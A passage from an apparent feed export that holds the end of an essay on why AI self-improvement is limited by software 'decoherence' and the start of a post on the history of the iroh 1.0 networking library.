&lt;p&gt;In order to build better AI software, you need to be able to test if it is actually better. And importantly, as we mentioned before, we have to be able to measure if it&#39;s better &lt;strong&gt;in the bubble&lt;/strong&gt;. We can&#39;t check outside of the bubble because that brings us back to being rate-limited by the world.&lt;/p&gt;
&lt;p&gt;So, what can we check inside the bubble?&lt;/p&gt;
&lt;p&gt;Well, we&#39;ve narrowed it down to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Games&lt;/li&gt;
&lt;li&gt;Software&lt;/li&gt;
&lt;li&gt;Mathematics&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Games don&#39;t really get us that far, because they&#39;re not grounded in the real-world tasks we care about. So let&#39;s move on to software.&lt;/p&gt;
&lt;p&gt;As we&#39;ve established, good software is coherent. So, how do we measure coherence?&lt;/p&gt;
&lt;p&gt;Well, you take an abstraction and see how well it holds up in different contexts, and how much the code has to bend to fit each one. Since we&#39;re not allowed to leave the data center, there are exactly two options for how we can do this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apply it to all existing software.&lt;/strong&gt; This will only get us so far, because even if it works well for all of them, there&#39;s no way to know if it will work well for all &lt;em&gt;future&lt;/em&gt; software. Callbacks and event loops weren&#39;t even common until GUIs became standard, and early web servers still used threads and traditional parallelism, so it wasn&#39;t clear how valuable futures would be until the entire set of programs that make up the web was discovered and explored. We would be overfitting to the programs we already know. The result can look perfectly coherent today, and then the first new problem that doesn&#39;t fit has to be patched around.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create new software.&lt;/strong&gt; This is something we can attempt to do in theory, but in practice we can&#39;t just generate plausibly useful programs to expand the training set. Once again, software is a tool to accomplish a goal in the real world, and if we don&#39;t validate its usefulness from time to time we could drift substantially from reality.&lt;/p&gt;
&lt;p&gt;Beyond this core issue, the other important test of coherence is how well an abstraction or concept translates over time, across a variety of different contexts and evolving requirements. A standard can look good on paper and even work well in one environment, like desktop computers, but then be completely inadequate for mobile devices or cloud-based systems at scale.&lt;/p&gt;
&lt;p&gt;You would not only need to generate plausibly useful software, you would also need to generate plausible evolution scenarios to see how it adapts, what happens when not everyone upgrades, when people (or agents) lag behind or decide to go in a different direction, when you have an &lt;em&gt;ecosystem&lt;/em&gt; of systems that are a constant moving target.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can get arbitrarily good at making the software we already have more coherent. Getting better at the software we &lt;em&gt;don&#39;t&lt;/em&gt; yet have requires either (a) waiting for the real world to produce new software or (b) making new software, testing it in the real world, and waiting for it to evolve over time. Both of these options require round trips outside the bubble.&lt;/p&gt;
&lt;p&gt;Putting it all together now:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;We &lt;em&gt;can&lt;/em&gt; make an AI that produces faster, smaller, and more efficient software beyond the human ceiling while staying inside the bubble.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We &lt;em&gt;cannot&lt;/em&gt; make an AI that improves software &lt;em&gt;coherence&lt;/em&gt; beyond the human ceiling without leaving the bubble, as noted above.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Because AI cannot check if the software is universally better without leaving the bubble, the AI cannot tell if it is actually improving its learning algorithms or if it&#39;s drifting.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We&#39;re right back at the Goodhart Singularity.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This puts the nail in the coffin for a fast, isolated SIE right off the bat. But we can also approach this from &lt;em&gt;another&lt;/em&gt; angle, and this one also applies to &lt;em&gt;other&lt;/em&gt; forms of intelligence explosions.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Any form of intelligence explosion depends on the AI researching and improving its own software or hardware, with each generation building on the improvements of the previous one.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Each generation will have some percentage chance of introducing decoherence into its systems, since the AI will be building or expanding systems beyond the frontier of its current understanding.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the AI moves too quickly, it will compound decoherence faster than it can correct, leading to a stall or regression in its overall capabilities.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the AI validates and verifies all of its findings, it will be rate-limited by its capacity to gather data from the world around it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This cannot be addressed by better learning algorithms developed in pure isolation, because the AI has nothing to measure these against (see the first proof above).&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We can see what the failure mode in point 3 looks like in the following chart, adapted from Eth and Davidson&#39;s model in their &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.forethought.org/research/will-ai-r-and-d-automation-cause-a-software-intelligence-explosion&quot;&gt;SIE paper&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-16&quot;&gt;[16]&lt;/a&gt;&lt;/sup&gt;. Their projection has the growth curve going parabolic before month 5. The chart below keeps their model and adds one assumption: that the cost of each change doubles as accumulated work grows, which is what decoherence looks like in human codebases.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/sie-decoherence.dark.svg&quot; alt=&quot;Growth of AI software over the first year after AI research is automated, on a log scale. Eth and Davidson&amp;#39;s model with returns of 1.5 accelerates without limit and passes one hundred million times before month five. The same model with a cost of change that doubles as work accumulates follows it at first, then flattens: at about 460,000 times after a year when the cost doubles every 1,000 units of work, about 10,000 times when it doubles every 100, and about 200 times when it doubles every 10.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/sie-decoherence.light.svg&quot; alt=&quot;Growth of AI software over the first year after AI research is automated, on a log scale. Eth and Davidson&amp;#39;s model with returns of 1.5 accelerates without limit and passes one hundred million times before month five. The same model with a cost of change that doubles as work accumulates follows it at first, then flattens: at about 460,000 times after a year when the cost doubles every 1,000 units of work, about 10,000 times when it doubles every 100, and about 200 times when it doubles every 10.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;If this is true and AI cannot bypass decoherence, then ultimately AI is rate-limited by reality. It&#39;s not that it won&#39;t ever surpass us, but that it is a long way off from doing so in any meaningful sense, and even when it does it will still have to do all of the work that reality demands, constrained by the same physical and informational limits that govern us.&lt;/p&gt;
&lt;p&gt;Davidson claims we could gather sufficient data easily by just recording real-world tasks:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If the whole world worked together to make this happen quickly, it would not take long. For each job, 1000 people could record their screens and wear video cameras on their heads, and within 4 months AI would have 300 years&#39; worth of experience.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This, fundamentally, underestimates just how complex the world is. If we expect a machine to be able to improve itself indefinitely, it can&#39;t just be good at moving a cursor on a screen or identifying objects in videos. It needs to develop deep insights into understanding the world itself. It doesn&#39;t need to experience it like a human, but it needs to be able to capture the same kind of information, the same perspective, to measure the intangibles and subtleties that cannot be captured by a screen recording and video feed alone.&lt;/p&gt;
&lt;p&gt;It needs to be able to make connections between things that, at first, appear to have no relationship at all. Which brings us to our last topic.&lt;/p&gt;
&lt;h2&gt;Mathematics&lt;/h2&gt;
&lt;p&gt;Mathematics is the other domain which could, in theory, be checked in the bubble by using verified proofs. If an AI can get better at math in a bubble, then it can develop a better learning algorithm overall, and then maybe the SIE argument still stands.&lt;/p&gt;
&lt;p&gt;The thing is, math is sort of &lt;em&gt;arbitrary&lt;/em&gt;. We make a lot of decisions about how it works, and what is useful. For instance, the number zero was not always accepted as a valid number. Imaginary numbers took centuries to be accepted, and their four-dimensional cousins, quaternions, struck Lewis Carroll as so absurd that he is thought to have &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.newscientist.com/article/mg20427391-600-alices-adventures-in-algebra-wonderland-solved/&quot;&gt;satirized them in the Mad Hatter&#39;s tea party&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-23&quot;&gt;[23]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;These are examples of things that we take for granted, but which really &lt;em&gt;aren&#39;t&lt;/em&gt; as obvious or as natural as we might think. They only gained wide acceptance when they were used in real-life practices, and when the outputs lined up with reality in meaningful ways.&lt;/p&gt;
&lt;p&gt;In a similar way, Boolean algebra, the fundamental mathematics that underlies computing, was also considered an esoteric branch of mathematics for nearly a century. It was &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Boolean_algebra&quot;&gt;first published&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-24&quot;&gt;[24]&lt;/a&gt;&lt;/sup&gt; by George Boole in 1847, but it had no practical applications, and it was studied as a curiosity of formal logic rather than a tool for serious engineering.&lt;/p&gt;
&lt;p&gt;The importance of this math wasn&#39;t discovered until the 1930s, when Claude Shannon was working at MIT on the relay controls for Vannevar Bush&#39;s differential analyzer. He had previously encountered Boolean algebra in a philosophy class he took during his undergrad,&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-25&quot;&gt;[25]&lt;/a&gt;&lt;/sup&gt; and realized as he was working on circuits that they matched up perfectly. His master&#39;s thesis, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.cs.virginia.edu/~evans/greatworks/shannon38.pdf&quot;&gt;&amp;quot;A Symbolic Analysis of Relay and Switching Circuits,&amp;quot;&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-26&quot;&gt;[26]&lt;/a&gt;&lt;/sup&gt; made the connection in 1937, and the rest is history.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/boole-shannon.dark.svg&quot; alt=&quot;Timeline from Boole&amp;#39;s algebra in 1847 to Shannon&amp;#39;s thesis in 1937. AND lines up with two relay contacts in series, OR with two in parallel, across ninety years in which the algebra had no use.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/boole-shannon.light.svg&quot; alt=&quot;Timeline from Boole&amp;#39;s algebra in 1847 to Shannon&amp;#39;s thesis in 1937. AND lines up with two relay contacts in series, OR with two in parallel, across ninety years in which the algebra had no use.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Boole wasn&#39;t just inventing mathematics for the sake of it. He had an intuition that the properties he discovered, the system he made, would be important someday. He thought he was discovering the laws of human thought, and while that might have been somewhat misguided, it was interesting enough that logicians and philosophers studied it and passed it down, until Shannon found it and built on it.&lt;/p&gt;
&lt;p&gt;Would Shannon have been able to find that connection in the age of AI? If he hadn&#39;t been standing in a room full of relays with a real problem in front of him, telling him where to look, and instead had been sorting through endless reams of proofs that were all locally valid and globally meaningless?&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/proof-haystack.dark.svg&quot; alt=&quot;Two fields of identical tick marks, each a valid proof. In 1937 there are two dozen and the one that matters is easy to see. Now, with AI, there are hundreds and the same tick is nearly lost.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/proof-haystack.light.svg&quot; alt=&quot;Two fields of identical tick marks, each a valid proof. In 1937 there are two dozen and the one that matters is easy to see. Now, with AI, there are hundreds and the same tick is nearly lost.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;There are an infinite number of logical and mathematical systems you can define in a vacuum, and you can get extremely good at building and exploring these hypotheticals. Figuring out whether or not they matter is a different skill, and that is one that cannot be improved in the bubble.&lt;/p&gt;
&lt;p&gt;Mathematicians are already worried about this dichotomy. In September, twenty-five Fields medalists, Terence Tao among them, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://terrytao.wordpress.com/2026/09/11/a-severe-misalignment-of-ai-in-mathematics/&quot;&gt;signed a declaration&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-27&quot;&gt;[27]&lt;/a&gt;&lt;/sup&gt; arguing that solving problems is only a stand-in for the real goal of mathematics, which is understanding, and that mass-producing true statements can erode the ground that new ideas grow from.&lt;/p&gt;
&lt;p&gt;What happens when all of that ground is worn away?&lt;/p&gt;
&lt;h2&gt;Collapse&lt;/h2&gt;
&lt;p&gt;The work of building coherence is a long and unrelenting process. It&#39;s the work of exploring every crevice and looking under every rock. Of getting down into the mud of reality and letting it seep into your boots as you grope around blindly, looking for all of the different ways that the world can configure and reconfigure itself around you, endlessly, without letting it swallow you whole.&lt;/p&gt;
&lt;p&gt;It&#39;s not just about solving problems. It&#39;s about figuring out what problems we&#39;re trying to solve in the first place.&lt;/p&gt;
&lt;p&gt;Of figuring out all of the problems we&#39;re trying to solve, and finding a single solution that solves each one without exploding into a labyrinth of complexity.&lt;/p&gt;
&lt;p&gt;Which brings me to my last point.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/omarchy-banner.dark.svg&quot; alt=&quot;Pixel-art Omarchy wordmark with the tagline: Beautiful, fun and agentic Linux by DHH. The malleable OS for the age of agents. Vibe your way through every alteration, tweak, or trouble.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/omarchy-banner.light.svg&quot; alt=&quot;Pixel-art Omarchy wordmark with the tagline: Beautiful, fun and agentic Linux by DHH. The malleable OS for the age of agents. Vibe your way through every alteration, tweak, or trouble.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;There&#39;s been much said about &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Omarchy&quot;&gt;Omarchy&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-28&quot;&gt;[28]&lt;/a&gt;&lt;/sup&gt; recently. There are many who love it, and many who are, shall we say, skeptical of an agent-forward Linux distro. They have charged forward rather quickly into the space, and appear to be morphing from the original goal of being a clean set of defaults toward &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://linuxiac.com/omarchy-4-0-4-makes-its-custom-linux-kernel-the-default/&quot;&gt;a full distro with a custom kernel&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-29&quot;&gt;[29]&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Now, I want to be clear that experimentation at the edge of the ecosystem is important. Forking, exploring ideas, figuring out what works without constraints, and bringing your findings back to the community is a huge part of what makes Open Source Software work so well.&lt;/p&gt;
&lt;p&gt;But I&#39;m worried here.&lt;/p&gt;
&lt;p&gt;I&#39;m worried that somewhere along the line, we may have forgotten that we are all climbing the mountain together. That what has made us so successful and so resilient as a community, what has advanced computing so far so quickly, is the process of building coherence.&lt;/p&gt;
&lt;p&gt;Back in the 80s, 90s, and all the way through the 00s, every company managed their own stack. Each server was its own little bundle of dependencies and scripts and OS versions and so on. You needed a team just to keep things running smoothly at your average company.&lt;/p&gt;
&lt;p&gt;During &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Unix_wars&quot;&gt;the OS wars&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-30&quot;&gt;[30]&lt;/a&gt;&lt;/sup&gt;, that fragmentation was worse. Unix did not have a clear successor, and Windows was gaining ground with an entirely different paradigm. If Linux hadn&#39;t been built in that time, and captured the aging *nix ecosystem, where would we be today? Yes, I&#39;m aware that FreeBSD was a thing and could have taken its place. What I really mean is: what if there had been no free software movement at all?&lt;/p&gt;
&lt;p&gt;Would we be paying license fees every time we boot up a container in the cloud?&lt;/p&gt;
&lt;p&gt;How many startups wouldn&#39;t have been able to get started, just because of the costs of running their stack?&lt;/p&gt;
&lt;p&gt;That fragmentation was also the reason every system started to feel old and clunky over time. The entire ecosystem was decoherent, and much of the work over the last two decades has been about adding coherence (and capturing some of that value in SaaS products, but I&#39;m getting ahead of myself).&lt;/p&gt;
&lt;p&gt;I fear we may be practicing a sort of slash-and-burn agriculture here, where we are throwing away the coherence we have built in favor of rebuilding every dependency, customizing every piece of software, extending in every direction to solve short-term problems.&lt;/p&gt;
&lt;p&gt;And not realizing that all the while, we&#39;re running deep into the trap.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-2-collapse-wobble.dark.svg&quot; alt=&quot;A much larger maze with three regions. A small bright central region is the amount of the maze that humans can work within. A larger purple region around it is the amount that agents can work within. Beyond that, the walls scatter out of alignment, and this is where it all falls apart.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://maevyn.codes/decoherence/maze-2-collapse-wobble.light.svg&quot; alt=&quot;A much larger maze with three regions. A small bright central region is the amount of the maze that humans can work within. A larger purple region around it is the amount that agents can work within. Beyond that, the walls scatter out of alignment, and this is where it all falls apart.&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;What humans can handle (and fix over time)&lt;/p&gt;
&lt;p&gt;What agents can handle (but not back out of)&lt;/p&gt;
&lt;p&gt;Unreachable with all of the compute on Earth&lt;/p&gt;
&lt;p&gt;If we push too long and too far without maintaining or rebuilding coherence, with current trends, we&#39;ll end up in a place where we &lt;em&gt;must&lt;/em&gt; use agents to maintain our systems, because the systems will be so large and so overwhelming that we cannot do so ourselves. But if we get caught there, and it turns out that agents cannot &lt;em&gt;back us out&lt;/em&gt; by doing the repair work, we may find ourselves in a very uncomfortable position:&lt;/p&gt;
&lt;p&gt;Locked into a development model that slowly degrades our systems no matter how much effort we put into fixing them.&lt;/p&gt;
&lt;p&gt;It&#39;s not that we won&#39;t be able to eventually fix the systems. But it might take years or even decades to do so, and in the meantime, we won&#39;t be able to ship features or make progress on the many other pressing problems we have in our society.&lt;/p&gt;
&lt;p&gt;This is what I call &lt;strong&gt;Decoherence Collapse&lt;/strong&gt;. And I am far more afraid of it than runaway super-intelligence, because it&#39;s actually happening right now, in front of our very eyes.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I do want to be clear that there is some utility in AI, I just think it&#39;s more on the margins than in replacing core workflows or running fully autonomously. I subscribe heavily to Cory Doctorow&#39;s &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://pluralistic.net/2025/12/05/pop-that-bubble/&quot;&gt;reverse-centaur analysis&lt;/a&gt;&lt;sup class=&quot;citation-ref&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/decoherence#citation-31&quot;&gt;[31]&lt;/a&gt;&lt;/sup&gt; - we don&#39;t want the machine driving us, we want to be driving the machine. On that note, you can read my &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/addenda/ai-usage-policy-and-guide&quot;&gt;AI Usage Policy and Guide&lt;/a&gt; for a more detailed discussion on how I approach it in my own work and life.&lt;/p&gt;
&lt;p&gt;And as I&#39;ve said repeatedly in this piece, decoherence is not a new problem. If anything, it has existed since the beginning of human civilization, or perhaps even further back. It is a natural sort of decay or degradation, a type of entropy, that we have always dealt with and will always have to deal with. With that in mind, I want to leave you with two last thoughts.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Decoherence only ever changes when the systems themselves change. This means that no matter how bad it gets, we can &lt;em&gt;always&lt;/em&gt; stop moving forward and start backing ourselves out. If AI has pushed us deep into the trap, it might take years or even decades to fully recover, but the hardest part is up front. Every part after will snowball, &lt;em&gt;as long as&lt;/em&gt; we keep focusing on improving coherence and finish the job. If we improve it just enough to go back to our old patterns, we&#39;ll only be restarting the cycle.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We already have processes that are known to improve coherence over time. Humans have found ways to create more coherent systems, and those systems are in large part what has enabled the scope and scale of technological progress in the last several centuries.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In particular, the Open Source Software process that powers much of the coherence behind software development is &lt;em&gt;so successful&lt;/em&gt; at producing coherence that it has outcompeted corporate software development in several truly stunning ways. But we&#39;ll discuss that more in the next essay: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://maevyn.codes/open-capital&quot;&gt;Open Capital&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:3c2f04ffea3a12a65dc4c01409461ddbef865f7d</id>
    <title type="text">The road to iroh 1.0</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-16-the-road-to-iroh-1-0/"/>
    <link rel="via" type="text/html" href="https://www.iroh.computer/blog/the-road-to-iroh-1-0"/>
    <published>2026-10-16T12:02:05+00:00</published>
    <updated>2026-10-16T12:02:05+00:00</updated>
    <author>
      <name>iroh.computer via Frando</name>
    </author>
    <category term="news"/>
    <category term="networking"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;It is done. After four years of work and various pivots we have released iroh 1.0.&lt;/p&gt;
&lt;p&gt;We have an expanding web site describing &lt;em&gt;how&lt;/em&gt; iroh works under the hood, but we think it is important to also understand &lt;em&gt;why&lt;/em&gt; we made the decisions that led to the current iroh. So here is a trip down memory lane / our commit history which highlights major turning points and design decisions.&lt;/p&gt;
&lt;p&gt;Perhaps more importantly, this post also covers some things we considered but ended up &lt;strong&gt;not doing&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Iroh started as a rust implementation of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://ipfs.tech/&quot;&gt;ipfs&lt;/a&gt;. We got pretty far implementing various ipfs protocols and had interop with existing ipfs implementations working. Our goal with iroh was to target lightweight and resource constrained devices such as mobile phones.&lt;/p&gt;
&lt;p&gt;One area where we were unhappy with existing protocols was blob transfer. We started a working group within the ipfs community to come up with a new protocol, called the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/playlist?list=PLuhRWgmPaHtQ--aQ5GlgCyKkQYXUfQpVf&quot;&gt;move the bytes working group&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For that working group, we worked on a proposal for new blob transfer protocol. We wrote a small library called &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/n0-computer/krakensync&quot;&gt;krakensync&lt;/a&gt;. Krakensync used &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/BLAKE3-team/BLAKE3&quot;&gt;BLAKE3&lt;/a&gt; exclusively for content addressing because BLAKE3 supports verified incremental streaming of large blobs.&lt;/p&gt;
&lt;p&gt;After a few days we had a bare algorithm, and wanted to add networking to it to make the demo feel more real. We had only two days before the next meeting, and adding networking via &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/libp2p&quot;&gt;rust-libp2p&lt;/a&gt; seemed impossible (Remember that this was before LLM coding assistants!).&lt;/p&gt;
&lt;p&gt;I had a tiny bit of previous experience with &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc9000.html&quot;&gt;QUIC&lt;/a&gt;, and remembered from a project of a friend of mine, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/quinn-noise&quot;&gt;quinn-noise&lt;/a&gt; that &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://docs.rs/quinn&quot;&gt;quinn&lt;/a&gt; is both hackable and has a simple idiomatic rust API. So I tried to add networking via quinn and found it &lt;em&gt;an absolute joy&lt;/em&gt; to work with.&lt;/p&gt;
&lt;p&gt;— Rüdiger&lt;/p&gt;
&lt;p&gt;In parallel to working on the ipfs compatible iroh, we worked on a side project to implement a single narrow real world use case: transfer of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://delta.chat/&quot;&gt;deltachat&lt;/a&gt; chat history when provisioning a new device. The technical task was to transfer a single large blob of backup data to a new device. There were hard constraints regarding disk and network usage. And the transfer had to be resumable.&lt;/p&gt;
&lt;p&gt;We found that &lt;em&gt;we could not&lt;/em&gt; implement this very narrow use case with our ipfs based iroh implementation. Doing so would have had less than optimal network performance, and would have pulled in a very large dependency tree.&lt;/p&gt;
&lt;p&gt;So we started writing a lightweight sync library from scratch, using QUIC as the networking layer and BLAKE3 verified streaming for large blob transfer.&lt;/p&gt;
&lt;p&gt;Despite our best efforts, our main project was still far away from the theoretical limits. Meanwhile our sync side project showed what is possible. So we &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.iroh.computer/blog/a-new-direction-for-iroh&quot;&gt;made the decision&lt;/a&gt; to no longer pursue the goal of staying compatible with existing ipfs implementations.&lt;/p&gt;
&lt;p&gt;Instead of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/multiformats/multiaddr&quot;&gt;multiaddrs&lt;/a&gt;, endpoints were identified by an &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.rfc-editor.org/rfc/rfc8032.html&quot;&gt;Ed25519&lt;/a&gt; public key.&lt;br /&gt;
Instead of &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/multiformats/multihash&quot;&gt;multihashes&lt;/a&gt;, we had BLAKE3.&lt;br /&gt;
And instead of multiple transport protocols we had just QUIC.&lt;/p&gt;
